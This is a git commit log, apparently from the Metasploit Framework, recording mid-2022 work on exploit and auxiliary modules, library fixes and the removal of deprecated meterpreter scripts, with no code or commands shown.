Jack Heysel f01f4c08a4 Randomize payload + rubocop 2022-08-17 17:43:16 -04:00
Spencer McIntyre 7c1dd17c86 Add a missing verison, fix typos 2022-08-17 17:36:31 -04:00
Jack Heysel 75efe1528c Added check method, reponded to PR comments 2022-08-17 17:24:03 -04:00
bwatters 115955591b Fix up the Unicode coversions and update docs 2022-08-17 13:21:56 -05:00
jheysel-r7 2c3778e938 Update modules/exploits/linux/http/panos_auth_rce.rb
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2022-08-17 14:03:05 -04:00
jheysel-r7 470ceda467 Update modules/exploits/linux/http/panos_auth_rce.rb
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2022-08-17 14:02:39 -04:00
jheysel-r7 47f2b52277 Update documentation/modules/exploit/linux/http/panos_auth_rce.md
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2022-08-17 13:42:17 -04:00
jheysel-r7 ef0578160c Update documentation/modules/exploit/linux/http/panos_auth_rce.md
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2022-08-17 13:32:36 -04:00
jheysel-r7 aacf676cd1 Update modules/exploits/linux/http/panos_auth_rce.rb
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2022-08-17 13:32:14 -04:00
jheysel-r7 08502e184c Update documentation/modules/exploit/linux/http/panos_auth_rce.md
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2022-08-17 13:32:07 -04:00
Ron Bowes 5fd211acd6 End the session when an HTTP/200 is received 2022-08-17 10:19:36 -07:00
Grant Willcox 6d1f64d3e9 Land #16905, Deprecate panda_2007_pavsrv51 script 2022-08-17 11:38:41 -05:00
Spencer McIntyre 62ab42b797 Update vulnerable version numbers and docs 2022-08-17 08:55:46 -04:00
Grant Willcox 1000b351f1 Land #16909, Deprecate get_pidgin_creds script 2022-08-16 12:38:17 -05:00
jheysel-r7 30df4ce7b0 Update documentation/modules/exploit/linux/http/panos_auth_rce.md 2022-08-16 09:58:55 -04:00
Jack Heysel 57109f2966 Add PAN-OS auth command injection module 2022-08-16 09:44:05 -04:00
Jake Baines f093794864 Added Cisco ASA ASDM/HTTP brute force module 2022-08-16 06:31:25 -07:00
bcoles b8d926c093 Remove scripts/meterpreter/sound_recorder.rb 2022-08-16 18:05:21 +10:00
bcoles f5c8120aff Deprecate sound_recorder script 2022-08-16 18:04:50 +10:00
Grant Willcox e7d7d9b41a Land #16910, Deprecate script arp_scanner 2022-08-15 17:20:07 -05:00
Grant Willcox fdaab8dbbc Land #16908, Deprecate dumplinks script 2022-08-15 14:23:16 -05:00
Grant Willcox eed0b8b4ce Land #16902, Remove scripts/meterpreter/killav.rb 2022-08-15 11:09:19 -05:00
bcoles 6918cfda36 Remove scripts/meterpreter/arp_scanner.rb 2022-08-14 22:14:18 +10:00
bcoles 2dc2d8e7d5 Deprecate arp_scanner script 2022-08-14 22:10:40 +10:00
bcoles afd099eff5 Remove scripts/meterpreter/get_pidgin_creds.rb 2022-08-14 21:58:48 +10:00
bcoles 6ea5294fcd Deprecate get_pidgin_creds script 2022-08-14 21:58:28 +10:00
bcoles 76b36879c6 Remove scripts/meterpreter/dumplinks.rb 2022-08-14 21:45:12 +10:00
bcoles 6ddec82d89 Deprecate dumplinks script 2022-08-14 21:44:09 +10:00
bcoles 1734042e64 Remove scripts/meterpreter/panda_2007_pavsrv51.rb 2022-08-14 14:30:41 +10:00
bcoles c9fb0950d9 Deprecate panda_2007_pavsrv51 script 2022-08-14 14:30:23 +10:00
bcoles 16d5af62d5 killav: Cleanup and support non-meterpreter sessions 2022-08-14 05:16:57 +10:00
bcoles 59fd656cb8 Remove scripts/meterpreter/killav.rb 2022-08-14 04:51:16 +10:00
bcoles b49e480c53 Msf::Post::File.file_remote_digest[md5|sha1]: Print session.fs.file errors 2022-08-13 15:06:57 +10:00
Metasploit 015ccfe62a automatic module_metadata_base.json update 2022-08-12 14:09:20 -05:00
Jack Heysel aac8ecbfe6 Land #16885, move msflag.ps1 to /data/post/...
This PR effectively runs the following command
mv scripts/ps/msflag.ps1 data/post/powershell/msflag.ps1
2022-08-12 14:33:20 -04:00
bcoles e6d4a80e0f data: powershell: msflag.ps1: Remove "from Metasploit" from flag message 2022-08-12 17:30:40 +10:00
Metasploit 60a045eaaa automatic module_metadata_base.json update 2022-08-11 18:01:40 -05:00
space-r7 dc4d3ff21b Land #16881, fix crash in forward_pageant module 2022-08-11 17:40:33 -05:00
Jack Heysel f63ad564a3 Land #16884, deprecate credcollect script
The credcollect script is effectively replaced by
post/windows/gather/credentials/credential_collector
2022-08-11 15:01:59 -04:00
Jack Heysel 09d3acf696 Land #16833, deprecate srt_webdrive_priv script
The srt_webdrive_priv script is effectively replaced by
exploit/windows/local/service_permissions
2022-08-11 14:46:31 -04:00
Metasploit a211478d92 Bump version of framework to 6.2.13 2022-08-11 12:09:07 -05:00
bwatters 773c6be61b Land #16888, Remove scripts/meterpreter/persistence.rb
Merge branch 'land-16888' into upstream-master
2022-08-10 15:45:22 -05:00
bwatters 8650aeb5bb Land #16889, Remove scripts/meterpreter/get_valid_community.rb
Merge branch 'land-16889' into upstream-master
2022-08-10 15:43:14 -05:00
bwatters fa222f3b76 Land #16890, Remove scripts/meterpreter/getgui.rb
Merge branch 'land-16890' into upstream-master
2022-08-10 15:40:50 -05:00
bwatters f4922b47a9 Land #16891, Remove scripts/meterpreter/enum_chrome.rb
Merge branch 'land-16891' into upstream-master
2022-08-10 15:38:56 -05:00
Metasploit 846cca42c9 automatic module_metadata_base.json update 2022-08-10 14:42:43 -05:00
Jack Heysel 318d608608 Land #16882, Remove enum_shares script
This PR removes the enum_shares meterpreter script
in favour for the existing enum_shares post module
2022-08-10 15:09:34 -04:00
space-r7 a68986599d Land #16841, add enum_powershell_env cleanup 2022-08-10 14:00:59 -05:00
Metasploit b20c275df6 automatic module_metadata_base.json update 2022-08-10 13:41:18 -05:00
Jack Heysel c54658b035 Land #16878, Clean up enum_logged_on_users
Adds support for non-Meterpreter sessions, fixes
rubo-cop and msftidy_docs violations
2022-08-10 14:17:50 -04:00
Jack Heysel 255bc6e558 Land #16876, remove enum_logged_on_users script
This PR removes the enum_logged_on_users meterpreter script
in favour for the existing enum_logged_on_users post module
2022-08-10 13:25:09 -04:00
Jack Heysel 8bd33d61a2 Land #16875, Remove enum_puty metepreter script
Removes the enum_puty metepreter script as we have the post
module enum_putty_saved_sessions which replaces it
2022-08-10 11:28:18 -04:00
space-r7 7f02daac5b change default password 2022-08-09 16:12:54 -05:00
Metasploit b8f6e2d549 automatic module_metadata_base.json update 2022-08-09 15:35:21 -05:00
Jack Heysel 06f0fffc20 Land #16856, Webmin package updates RCE module
This module exploits an arbitrary command injection
in Webmin versions prior to 1.997.
2022-08-09 16:13:19 -04:00
Metasploit 64c3f12573 automatic module_metadata_base.json update 2022-08-09 14:57:12 -05:00
Jack Heysel 0be211025e Land #16873, Cleanup and support non-meterpreter
This PR cleans up and adds support for non-meterpreter
sessions as well as adds documentation and error-handling
2022-08-09 15:34:21 -04:00
Jack Heysel 49c98215a0 Land #16872, fixes for Post::Windows::Registry
Fixes for shell compatibility within normalize_key and
shell_registry_getvalinfo.
2022-08-09 14:41:54 -04:00
Spencer McIntyre 0e148d6ba4 Update and rename the module 2022-08-09 13:32:09 -04:00
Metasploit b56cf5ea21 automatic module_metadata_base.json update 2022-08-09 11:39:19 -05:00
bwatters a8e73d9fa9 Land #16807, New module for 0-day Zimbra privilege escalation
Merge branch 'land-16807' into upstream-master
2022-08-09 11:18:21 -05:00
Christophe De La Fuente 38b845f247 Fix from code review
- Documentation typos
- Adding ARM64 support
2022-08-09 15:09:25 +02:00
bcoles 5866cae84c Remove scripts/meterpreter/enum_chrome.rb 2022-08-09 20:00:29 +10:00
bcoles 205eec1e56 Remove scripts/meterpreter/getgui.rb 2022-08-09 17:25:43 +10:00
bcoles 821c43a6b4 Remove scripts/meterpreter/get_valid_community.rb 2022-08-09 17:19:29 +10:00
bcoles 911e5caf7e Remove scripts/meterpreter/persistence.rb 2022-08-09 17:14:24 +10:00
Spencer McIntyre 2290b04995 Update the exploit with the new gadget chain 2022-08-08 17:52:53 -04:00
Spencer McIntyre 5faee26f10 Add the DataSetTypeSpoof .NET deserialization chain 2022-08-08 17:52:51 -04:00
Spencer McIntyre 852fac48b1 Add the DataSet .NET deserialization chain 2022-08-08 17:51:37 -04:00
Spencer McIntyre 310cfde62b Fix a bug with empty length-prefixed strings 2022-08-08 15:14:17 -04:00
bcoles 4d4f7b8c55 mv scripts/ps/msflag.ps1 data/post/powershell/msflag.ps1 2022-08-08 18:00:36 +10:00
bcoles cab4c1a297 Remove scripts/meterpreter/credcollect.rb 2022-08-08 17:36:12 +10:00
bcoles 8b3e9f89b5 Deprecate credcollect script 2022-08-08 17:35:55 +10:00
bcoles 5ad10fb6f9 Remove scripts/meterpreter/srt_webdrive_priv.rb 2022-08-08 16:17:09 +10:00
bcoles 2a337c9436 Deprecate srt_webdrive_priv script 2022-08-08 16:16:44 +10:00
bcoles 779482c868 Remove scripts/meterpreter/enum_shares.rb 2022-08-08 13:44:51 +10:00
bcoles 0ac1a9d704 forward_pageant: Cleanup and fix default UNIX socket path 2022-08-08 12:56:52 +10:00
bcoles b2683981dc enum_logged_on_users: Cleanup 2022-08-08 01:50:36 +10:00
bcoles e99783f329 Post::Windows::Registry.normalize_key: Return hive without trailing slash 2022-08-07 21:50:58 +10:00
bcoles 1103ed6b3e Remove scripts/meterpreter/enum_logged_on_users.rb 2022-08-07 17:42:45 +10:00
bcoles 109f0b71e7 Remove scripts/meterpreter/enum_putty.rb 2022-08-07 17:00:11 +10:00
bcoles 6380c69775 enum_artifacts: Cleanup and support non-meterpreter sessions 2022-08-07 16:01:45 +10:00
bcoles 44ef271623 Post::Windows::Registry.shell_registry_getvalinfo: Fix reg value parsing 2022-08-07 15:31:54 +10:00
bcoles bb22c81c8b Post::Windows::Registry.normalize_key: Remove $blab global variable 2022-08-07 14:40:55 +10:00
bcoles 703cc872d4 Msf::Post::File.file_remote_digest[md5|sha1]: Add :util to set hash utility 2022-08-06 19:15:30 +10:00
bcoles 50a2127f3c Msf::Post::File.file_remote_digest[md5|sha1]: Remote hashing for PS sessions 2022-08-06 18:56:39 +10:00
bcoles 7d71bf6875 Msf::Post::File.file_remote_digest[md5|sha1]: Use Meterpreter hash methods 2022-08-06 17:42:11 +10:00
Metasploit 365badb369 automatic module_metadata_base.json update 2022-08-05 14:41:49 -05:00
Jeffrey Martin c45262cd46 Land #16800, Add support for OpenSSL 3 2022-08-05 14:20:51 -05:00
Ron Bowes 5d7fb283b7 Capture the command output 2022-08-05 13:55:05 -05:00
Ron Bowes 6564ea9719 Change Vulnerable to Appears 2022-08-05 13:55:05 -05:00
Ron Bowes 2cde5f6364 Typo / compile error 2022-08-05 13:55:05 -05:00
Ron Bowes caff6a53f5 Add a CVE and better description 2022-08-05 13:55:05 -05:00
Ron Bowes ea581482d4 Remove the commented-out CVE, it's making lint sad 2022-08-05 13:55:05 -05:00
Ron Bowes be25e1fc77 Add documentation 2022-08-05 13:55:05 -05:00
Ron Bowes 6e8d04ddc9 Add a note that IOCs show up in logs 2022-08-05 13:55:05 -05:00
Ron Bowes cc27f563ec Small cleanup 2022-08-05 13:55:05 -05:00
Ron Bowes 5e1888ee46 Cleanups 2022-08-05 13:55:05 -05:00
Ron Bowes 0fd61e859d Make lint happy 2022-08-05 13:55:05 -05:00
Ron Bowes bba4a23f65 Add zimbra_slapper_priv_esc module (privilege escalation in Zimbra, currently 0-day) 2022-08-05 13:55:05 -05:00
Metasploit b6c3cb41bd automatic module_metadata_base.json update 2022-08-05 13:25:17 -05:00
bwatters 74eff9ffac Land #16851, Add Cassandra Web file read auxiliary module
Merge branch 'land-16851' into upstream-master
2022-08-05 13:04:07 -05:00
Metasploit 507a8961ef automatic module_metadata_base.json update 2022-08-05 12:41:13 -05:00
space-r7 0334beada2 Land #16758, add ManageEngine ADAudit Plus exploit 2022-08-05 12:19:42 -05:00
space-r7 4202502992 make some prints vprints, add steps 2022-08-05 11:34:46 -05:00
dwelch-r7 d08aeda4d3 Land #16865, Change permissions on gemfile 2022-08-05 16:05:17 +01:00
adfoster-r7 756c910b9a Add warning if OPENSSL_CONF is already present 2022-08-05 15:45:50 +01:00
adfoster-r7 1472f72876 Change permissions on gemfile 2022-08-05 14:47:30 +01:00
adfoster-r7 e93a75cd01 Fix broken reverse ssh command shell 2022-08-04 23:58:11 +01:00
Ron Bowes 7c21c57564 Merge branch 'master' into manageengine-adauditplus-cve-2022-28219 2022-08-04 14:07:50 -07:00
Ron Bowes 713e476139 Remove 'puts' again 2022-08-04 12:59:11 -07:00
Ron Bowes 7844b8f5f8 Encode usernames containing spaces into 8.3 2022-08-04 12:55:08 -07:00
Ron Bowes 530174c940 Remove an errant puts 2022-08-04 12:42:14 -07:00
Ron Bowes 969c81e41c Improve the FTP reverse connection in two ways - 1-add a terminator so we know when it's done, and 2-don't fail the whole thing if we fail on one name 2022-08-04 11:13:46 -07:00
Metasploit 91f2a48270 automatic module_metadata_base.json update 2022-08-04 13:07:25 -05:00
Christophe De La Fuente 9c6a198453 Land #16796, Path traversal vulnerability in RARLAB UnRAR < 6.12 with Zimbra RCE module 2022-08-04 19:44:57 +02:00
Metasploit a858c15b47 Bump version of framework to 6.2.12 2022-08-04 12:05:15 -05:00
Metasploit abb40ea4d6 automatic module_metadata_base.json update 2022-08-04 11:39:27 -05:00
Jack Heysel 4cedbadbf9 Land #16820, fix default action err in ldap_query
If the user does not set a default action the ldap_query
module will now select a default action instead of erroring
2022-08-04 12:17:22 -04:00
Metasploit 11fcbb3509 automatic module_metadata_base.json update 2022-08-04 11:06:09 -05:00
Spencer McIntyre c244399f1f Land #16857, Add auxiliary gather module for Cisco PVC2300 camera information disclosure 2022-08-04 11:46:07 -04:00
Spencer McIntyre f87482351c Add missing return statements in the check method 2022-08-04 11:45:36 -04:00
Ron Bowes d8faa4dd37 Fix a blank line that I thought I'd fixed 2022-08-04 08:24:32 -07:00
Ron Bowes 26eee72512 Only print_status once, so it doesn't make a mess in the background 2022-08-04 08:02:28 -07:00
ErikWynter 0bb14d084f add extra check, fix typo 2022-08-04 17:27:04 +03:00
ErikWynter af712d4a89 add docs, fix typo in module description 2022-08-04 16:58:39 +03:00
Ron Bowes 2ec25fc3e5 Add a timeout to the reverse FTP connection 2022-08-03 15:17:02 -07:00
Metasploit 8febcd1b13 automatic module_metadata_base.json update 2022-08-03 17:11:28 -05:00
Ron Bowes a314423e81 Some changes requested by @cdelafuente-r7 2022-08-03 14:51:51 -07:00
bwatters 163d4d5b11 Land #16854, Add CVE-2022-31660 VMware Workspace ONE Access LPE
Merge branch 'land-16854' into upstream-master
2022-08-03 16:50:12 -05:00
Spencer McIntyre 0b9e1bbbb3 Fix "can not" to "cannot" 2022-08-03 17:45:06 -04:00
Spencer McIntyre a415a86c11 Fix a bug caused by ClassTypeInfo additional info
The ClassTypeInfo does not have a #value method that returns a scalar,
switch to using snapshot instead.
2022-08-03 16:38:43 -04:00
Spencer McIntyre 56d1225900 Add the ArraySinglePrimitive data type 2022-08-03 16:38:29 -04:00
Metasploit 2e13902fd0 automatic module_metadata_base.json update 2022-08-03 13:07:59 -05:00
Christophe De La Fuente fd2b325e44 Land #16788, SCADA scanner module for BACnet protocol 2022-08-03 19:46:03 +02:00
Metasploit 937f3b13b0 automatic module_metadata_base.json update 2022-08-03 12:36:40 -05:00
Spencer McIntyre b42c26b1e1 Land #16858, Update zerologon error handling 2022-08-03 13:15:27 -04:00
ErikWynter a95d239a88 cisco_pvc only report on creds when we have them 2022-08-03 19:10:28 +03:00
Jack Heysel 2433cccde5 Land #16840, updates read_profile_list
This removes some Meterpreter-only method calls, which
allows non-Meterpreter sessions to use read_profile_list
and load_missing_hives. This also changes read_profile_list
to be able to read profile information for all accounts.
2022-08-03 11:46:44 -04:00
ErikWynter 75c6e80d68 add check method 2022-08-03 17:57:27 +03:00
adfoster-r7 f65119b353 Support OpenSSL3 and run Ubuntu 22.04 in test matrix 2022-08-03 15:49:53 +01:00
adfoster-r7 8253e99c11 Update zerologon error handling to output invalid computer name details 2022-08-03 15:32:38 +01:00
ErikWynter 7489b23336 add saving creds to the db 2022-08-03 17:27:53 +03:00
ErikWynter e0514a5bf9 add cisco pvc2300 auxiliary module 2022-08-03 16:38:09 +03:00
krastanoel 36e542e2e1 Fix check code message typo 2022-08-03 19:21:42 +07:00
Christophe De La Fuente 449a7b71d5 Add module exploit and docs for the Webmin package updates RCE 2022-08-03 12:01:41 +02:00
Metasploit 6c2cf58803 automatic module_metadata_base.json update 2022-08-02 17:05:45 -05:00
bwatters fff435fcef Land #16842, Remove scripts/meterpreter/enum_powershell_env.rb
Merge branch 'land-16842' into upstream-master
2022-08-02 16:40:27 -05:00
bwatters a54d2402dc Land #16844, Cleanup and support non-Meterpreter sessions
Merge branch 'land-16844' into upstream-master
2022-08-02 16:30:42 -05:00
Spencer McIntyre cd81ced5cb Land #16822, Fix msfrpcd console read failures 2022-08-02 17:29:25 -04:00
Jack Heysel 82182f7815 Land #16852, Zoho PMP XML-RPC Unauth RCE module
Add in exploit module for CVE-2022-35405 aka Zoho
Password Manager Pro XML-RPC Unauthenticated RCE
2022-08-02 17:18:28 -04:00
Spencer McIntyre 8ed4293e9c Add module docs for CVE-2022-31660 2022-08-02 16:42:08 -04:00
Grant Willcox 6d45320c0c Update exploit title/name 2022-08-02 14:27:27 -05:00
Grant Willcox ada3be8f7b Update options section in documentation 2022-08-02 14:13:25 -05:00
space-r7 175c428ff9 remove on_new_session logic 2022-08-02 13:41:23 -05:00
Jack Heysel 4f5c711dc7 Land #16833, Add easier way to delete host tags
This PR adds an easier way to delete host tags from
the metasploit-framework and updates documentation accordingly
2022-08-02 14:02:54 -04:00
Metasploit 3cd39d528c automatic module_metadata_base.json update 2022-08-02 12:47:06 -05:00
space-r7 ea1207d6e1 add authentication 2022-08-02 12:31:52 -05:00
Spencer McIntyre a0058c03b7 Land #16837, MobileIron Core Log4Shell RCE Module 2022-08-02 13:25:52 -04:00
Grant Willcox f0e62de46a Add CVE-2022-35405 docs and module 2022-08-02 11:57:56 -05:00
krastanoel 9a4a590b27 Add Cassandra Web file read auxiliary module 2022-08-02 23:40:40 +07:00
Spencer McIntyre 207862a810 Update module metadata now that it's disclosed 2022-08-02 12:13:34 -04:00
Spencer McIntyre ef8fe215e1 Finish up an exploit for the first bug 2022-08-02 12:13:28 -04:00
bwatters d71350dfe6 Remove superfluous code and add extra check 2022-08-02 11:04:13 -05:00
Metasploit 0602bc0aac automatic module_metadata_base.json update 2022-08-02 10:15:57 -05:00
Jack Heysel 4085efa778 Land #16832, remove echo statement from ms10_092
This PR removes the SCHELEVATOR echo statement from
the exec_schtasks method as its not needed anymore
2022-08-02 10:51:41 -04:00
Ron Bowes d86e666e18 Change Platform to 'win' 2022-08-01 15:37:58 -07:00
adfoster-r7 6ac0a7c48f Land #16848, add safe navigation to ensure fs access valid 2022-08-01 21:46:05 +01:00
Jeffrey Martin 7277483022 add safe navigation to ensure fs access valid 2022-08-01 14:33:02 -05:00
adfoster-r7 228d6dd55b Land #16846, Add guard for additional possible OS errno 2022-08-01 19:57:32 +01:00
Ron Bowes c66f98bae6 Make lint happy 2022-08-01 10:03:35 -07:00
Ron Bowes 7ee0a78ffc Change to using monotonic clock 2022-08-01 10:02:00 -07:00
Ron Bowes e7edafbcfb Throw errors in the rar-generator library rather than returning nil 2022-08-01 09:54:31 -07:00
Ron Bowes 110e9ddeee Set stance 2022-08-01 09:47:58 -07:00
Jeffrey Martin 4ff03b2305 guard for addtional possible OS errno
When communicating to ssh the OS may report `Errno::EPIPE`
this can be handled more gracefully to avoid crashing consumers
of the mixin library.
2022-08-01 10:44:32 -05:00
adfoster-r7 c447cc53fd Land #16839, Fix shell_registry_[enumvals|getvaldata] error check 2022-08-01 13:59:50 +01:00
PazFi a727ebbf5e Adding detection of I-AM responses sent in unicast form. 2022-08-01 15:11:57 +03:00
PazFi f2a70c43cb Removing unnecessary lines of code. 2022-08-01 13:55:38 +03:00
PazFi 1f7b3319a9 Changing readme file accordingly. 2022-08-01 13:43:26 +03:00
bcoles 11a00fa1f2 post/multi/gather/env: Cleanup and support non-Meterpreter sessions 2022-08-01 13:37:15 +10:00
bcoles f324b8c24e enum_powershell_env: Cleanup and support non-Meterpreter sessions 2022-08-01 00:56:21 +10:00
bcoles c8540a35d6 Remove scripts/meterpreter/enum_powershell_env.rb 2022-08-01 00:39:52 +10:00
PazFi baa686f5e0 Using Rex::Socket::Udp instead of packetfu.
Adding report_note in case user does not have privileges to write to file.
Added sleeping time between outputs.
Removed LHOST from options, since it is not needed.
Replaced print_bad with fail_with.
2022-07-31 16:50:52 +03:00
bcoles e2973b0c2e Post::Windows::UserProfiles: read_profile_list: Add :user_accounts_only option 2022-07-31 21:04:05 +10:00
bcoles a4a2b6e6db Post::Windows::UserProfiles: Use Msf::Post::File mixin 2022-07-31 20:11:25 +10:00
bcoles 98449b6ce6 Post::Windows::Registry: Fix shell_registry_[enumvals|getvaldata] error check 2022-07-31 18:14:33 +10:00
PazFi 362318c95b Fixing rubocop issues. 2022-07-31 08:44:40 +03:00
Metasploit d6738c3b18 automatic module_metadata_base.json update 2022-07-29 16:07:58 -05:00
Grant Willcox 153dbfb995 Land #16825, Add better support for IMAP strings when capturing creds 2022-07-29 15:35:46 -05:00
Grant Willcox 5aa5ae32e0 Land #16825, Add better support for IMAP strings when capturing creds 2022-07-29 15:25:31 -05:00
Ron Bowes 1e6924b19c Add better ID response 2022-07-29 12:58:55 -07:00
Metasploit d26eec6a44 Bump version of framework to 6.2.11 2022-07-29 13:16:33 -05:00
Ron Bowes d36bee8755 A few simple feedback changes 2022-07-29 10:48:07 -07:00
Jake Baines b00cadfbeb Initial commit of MobileIron Core Log4Shell exploitation (CVE-2021-44228) 2022-07-29 10:31:15 -07:00
Jeffrey Martin 44f605357f Weekly dependency updates for Gemfile.lock
* Restrict `octokit` until Ruby 2.6 support ends for Framework
2022-07-29 07:49:15 -05:00
Grant Willcox 778ee0ed06 Add in updated spec tests 2022-07-28 15:51:00 -05:00
Grant Willcox 4f3b59bee3 Add easier way to delete host tags 2022-07-28 14:52:17 -05:00
Grant Willcox 7df60f71b6 Remove SCHELEVATOR echo statement as its not needed anymore 2022-07-28 11:02:59 -05:00
ErikWynter d6dabd4bfb additional code review improvements for xnode auxiliary modules/lib/docs 2022-07-28 15:12:00 +03:00
Ron Bowes 4e4a1da4e4 Add module docs for the split-up unrar modules 2022-07-27 13:24:29 -07:00
Ron Bowes e76ef61452 Move a warning into the exploit function 2022-07-27 12:48:56 -07:00
Ron Bowes f279e8d6ca Split the CVE-2022-30333 unrar module into two different modules with a shared mixin to generate the file 2022-07-27 12:45:47 -07:00
Ron Bowes 7c0bb35a4b Fix a crash from the original module if 'arg' was nil, and remove an errant space 2022-07-27 10:43:14 -07:00
Ron Bowes aa51353605 Move the arg-parsing logic out of the login request 2022-07-27 10:14:37 -07:00
space-r7 d6d51eecb0 manually delete file 2022-07-27 08:50:00 -05:00
Grant Willcox bcd1f63848 Fix logicial error when handing the case where a user did not specify an action at any point and is using the default one 2022-07-27 07:41:40 -05:00
adfoster-r7 00b85e9bb4 Fix msfrpcd console read failures 2022-07-27 13:11:11 +01:00
Ron Bowes d53dc7ca90 Add support for RFC7888-style logins, which send the username/password as separate lines 2022-07-26 15:11:46 -07:00
Ron Bowes b4b5f31c3d Add documentation 2022-07-26 10:48:18 -07:00
Ron Bowes 860cd38bbb Add documentation 2022-07-26 10:23:24 -07:00
Ron Bowes 7a79b8cbc2 Some fixes for Christophe's review 2022-07-26 09:24:33 -07:00
space-r7 24ab27bdfe add x86 arch and additional check for response 2022-07-25 11:16:26 -05:00
PazFi 665bde7f60 Enforcing regex input validation on local IP. 2022-07-25 08:17:39 +03:00
PazFi a6bdc5ea29 -Validating md file with msftidy_docs.
-Removing global variables, and calling data stored in datastore when required.
-Calling methods or variables instead of calling terminal commands.
-Some indentations.
-Using heredocs when handling multiple strings.
-Handling the case where LHOST does not contain IP address.
2022-07-24 18:51:53 +03:00
Ron Bowes b4d2294255 Use vprint instead of print for some status messages, and clean up some comments 2022-07-22 10:01:27 -07:00
Ron Bowes d63912a1b8 Use better thread synchronization methods 2022-07-22 09:59:04 -07:00
Ron Bowes fe99eb0d0a Whoops, better lint - needed -A instead of -a 2022-07-22 09:52:37 -07:00
Ron Bowes e6282c3ff8 Remove win_cmd 2022-07-22 09:49:33 -07:00
Ron Bowes f3731191a1 Add timeouts for the reverse connections using IO.select() 2022-07-22 09:45:53 -07:00
ErikWynter c6c745c633 ManageEngine Xnode library changes and some docs/module adjustments after code review 2022-07-22 16:06:21 +03:00
space-r7 e0a5bfd7b3 remove opts used for debugging 2022-07-21 18:50:23 -05:00
space-r7 e1b0e871b3 add finished module and docs 2022-07-21 18:33:56 -05:00
Ron Bowes 8c729e8414 Add Comm 2022-07-21 08:58:28 -07:00
Ron Bowes e316693bdc Lint 2022-07-20 13:39:20 -07:00
Ron Bowes 09c1cf4308 Fix the CRC32 errors in the RAR file 2022-07-20 12:34:10 -07:00
space-r7 a5cb271b21 add initial module work 2022-07-19 17:25:57 -05:00
Ron Bowes 2974f55126 Better description and more random 2022-07-19 14:18:11 -07:00
Ron Bowes 3401752fa7 Check in the unrar module for cve-2022-30333 2022-07-19 14:05:15 -07:00
PazFi 28c3dd5739 A SCADA scanner module for BACnet protocol.
The scanner discovers BACnet devices on the network by broadcasting
Who-is packets, extracts model name, software version, firmware
revision and description from the discovered devices by sending
specific read-property packets. After parsing the data the module saves
it to a local xml file.
Because devices can be nested, every address can have multiple devices.
2022-07-19 17:02:35 +03:00
Jake Baines cf54762191 Initial commit of CVE-2022-30526 LPE 2022-07-19 03:29:11 -07:00
Ron Bowes 304d717757 Make the path-traversal depth configurable 2022-07-15 15:41:27 -07:00
Ron Bowes 7468f6ecd8 Remove JAVA Arch 2022-07-15 15:35:14 -07:00
Ron Bowes 6f33ddd867 Remove a broken error check 2022-07-15 13:49:56 -07:00
Ron Bowes 5f3268eae7 Fix the Arch 2022-07-15 13:46:49 -07:00
Ron Bowes 5257de67f9 Style fixes 2022-07-15 13:43:46 -07:00
kalba-security 55079515ca implement code review suggestions 2022-07-14 06:04:14 -07:00
Ron Bowes 56dd61027f Rubocop 2022-07-08 10:38:42 -07:00
Ron Bowes 8090fdb273 Re-order authors 2022-07-08 10:27:41 -07:00
Ron Bowes 67c60c9c5f Specify the vulnerable version 2022-07-08 10:27:25 -07:00
Ron Bowes bcd4b6e49f Better name 2022-07-08 10:26:09 -07:00
Ron Bowes 9685bc4bc3 Use flat_map instead of map().flatten 2022-07-08 10:25:10 -07:00
Ron Bowes 134ce0d7bd Make the FTP server more realistic, and remove Timeout 2022-07-08 10:21:58 -07:00
Ron Bowes 46b5092be4 Make Rubocop happy, and improve error handling 2022-07-07 16:07:10 -07:00
Ron Bowes 3a9feac1cf Finish up the first draft of the module, which seems to work decently 2022-07-07 14:22:37 -07:00
Ron Bowes 966d469aa5 Continuing cleanup 2022-07-07 12:57:34 -07:00
Ron Bowes f9664575c5 Working payload 2022-07-07 10:57:41 -07:00
Ron Bowes d785e90bd9 Get the full exploit working, except for a hardcoded payload 2022-07-07 09:58:07 -07:00
Ron Bowes fa8d109f65 Add the incomplete version of CVE-2022-28219 module to msf 2022-07-06 15:57:13 -07:00
Bojan Zdrnja 3d13dab11e Update jenkins_script_console.rb 2022-07-06 19:08:38 +02:00
Bojan Zdrnja 5db741550b Update jenkins_script_console.rb
Modern Java disabled the sun.misc.BASE64Decoder class so exploit will fail on any newer version of Jenkins.
The java.util.Base64 class should be used now; the change has been confirmed to work with the latest version of Jenkins (the current exploit silently fails).
2022-07-06 15:16:01 +02:00
adfoster-r7 031b91766c Fix individual mssql login crashes stopping further login attempts 2022-07-05 16:36:42 +01:00
kalba-security 4861bbb337 add sanity check, move check method logic to lib, rescue failed socket creation 2022-07-01 05:13:14 -04:00
bwatters ef9f5ca463 Add rtf support to cve-2022-30190 AKA Follina 2022-06-30 17:30:06 -05:00
Jake Baines 4ae74f1a67 Added handling of connection profiles 2022-06-21 13:14:01 -07:00
Jake Baines fe6138dea7 Initial rewrite of Cisco ASA Clientless VPN Brute-force 2022-06-21 12:28:49 -07:00
Ben Newton fbca81dc09 Adding Windows Automation
Similar to the wrapping of the ERB script for Linux. 

Not sure if this is the best location for the script, but the alternative was an unattributed Gist!
2022-06-20 10:59:05 +01:00
kalba-security ba83b1bdf5 add manageengine adaudit plus and datasecurity plus xnode enum modles and manageengine_xnode lib 2022-06-10 10:32:25 -04:00
bwatters 670288a939 Fix issue where reverse_tcp did not work because of double length prepend 2022-06-06 09:10:57 -05:00
bwatters 0c65559e83 Add a better error message when the handler fails because the shellcode file is nil 2022-05-31 14:32:22 -05:00
bwatters 89d47aad69 Magic numbers FTW? 2022-05-27 09:26:09 -05:00
bwatters f1da425a89 Update cache sizes... 2022-05-27 08:38:53 -05:00
bwatters 0201693519 Rebase and update with Spencer's collab branch 2022-05-26 18:31:37 -05:00
bwatters 41a5891627 Add x64 reverse_winhttp support for custom stagers 2022-05-24 16:13:01 -05:00
bwatters 4426a10dd7 Add x86 reverse_winhttp support 2022-05-24 16:13:01 -05:00
bwatters 3f736834d2 Add x64 config 2022-05-24 16:13:01 -05:00
bwatters e312619418 Add support for 64-bit, rubocop, and some requested changes 2022-05-24 16:13:01 -05:00
